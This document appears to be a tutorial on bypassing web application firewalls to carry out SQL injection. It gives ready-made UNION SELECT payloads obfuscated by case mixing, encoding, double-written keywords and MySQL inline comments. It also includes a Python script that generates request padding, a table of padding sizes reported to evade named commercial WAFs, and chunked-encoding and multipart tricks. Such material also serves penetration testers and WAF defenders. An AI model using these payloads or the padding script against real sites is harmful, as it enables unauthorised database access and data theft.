Common SQL Injection WAF Bypass Techniques
WAF Detection Mechanism
WAFs intercept traffic by matching patterns against a rule database. When sensitive characters are detected, the request gets blocked.
Case Manipulation Bypass
Some WAFs only match exact case patterns—either all uppercase or all lowercase. Mixed-case inputs may slip through since the rule doesn't account for case variations.
Example: union select → unIoN sElEcT
Encoding Bypass
Character encoding can evade detection. WAFs may not properly decode inputs before pattern matching.
Example: union select 1,2,3# → union%0aselect 1\u002c2,3%23
Double Writing Bypass
WAFs that perform single-pass string removal can be bypassed by duplicating keywords. The filter removes one occurrence, leaving behind a functional keyword.
Example: UNIunionON, SELselectECT, anandd
Newline Character (\N) Bypass
Example: select * from admin where username = \N union select 1,user() from admin
Inline Comment Obfuscation
MySQL interprets /*!keyword*/ syntax as executable code. WAFs often skip patterns embedded within comments.
Example: union select → /*!union*/ /*!select*/
The content following the exclamation mark inside MySQL-style comments gets executed.
Synonym Replacement
and → &&
or → ||
= → < or >
space → %09, %0a, %0b, %0c, %0d, %20, %a0
Note: %0a represents a newline and can substitute for spaces.
HTTP Parameter Pollution
Sending multiple parameters with the same name may cause WAFs to process only the first occurrence, while the application processes a different one.
Example: ?id=1&id=2&id=3
Padding Technique
WAFs impose performance limits based on payload size or request length. By adding excessive padding data to POST requests, the malciious SQL payload beyond a certain threshold may escape detection.
A padding generator script:
import random
import string
from urllib import parse
var_min = 6
var_max = 12
val_min = 30
val_max = 40
iter_start = 40
iter_end = 80
def generate_random_string(length):
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
def create_padding_payload():
payload_data = {}
for _ in range(iter_start, iter_end):
key = generate_random_string(random.randint(var_min, var_max))
value = generate_random_string(random.randint(val_min, val_max))
payload_data[key] = value
return '&' + parse.urlencode(payload_data) + '&'
print(create_padding_payload())
Example POST request:
a=AAAAAAA...[padding]...&id=1 order by X[1-3]
Tested bypass thresholds:
| WAF Product | Required Padding |
|---|---|
| YunSuo | 30KB |
| BaoTa | 30KB |
| Alibaba Cloud | 200+ key-value pairs |
Manually test with Burp Suite first to determine the appropriate padding size, then integrate with sqlmap.
Combined Bypass Techniques
Layering multiple techniques significantly increases bypass success rates.
Example: id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--
Chunked Trensfer Encoding
Enable chunked transfer by removing Content-Length and adding Transfer-Encoding: chunked in Burp Suite. Each chunk is defined by its size in hex followed by a newline and the data.
Adding semicolon comments after each chunk improves evasion:
2;test
id
2;test
=1
5;test
order
2;test
by
1;test
4
Protocol Exploitation
Modify the Content-Type header to multipart/form-data; boundary=69 and use the boundary delimiter within the Content-Disposition name attribute. Place the payload data above the final boundary separator. Burp Suite's "Change body encoding" feature can automate this transformation.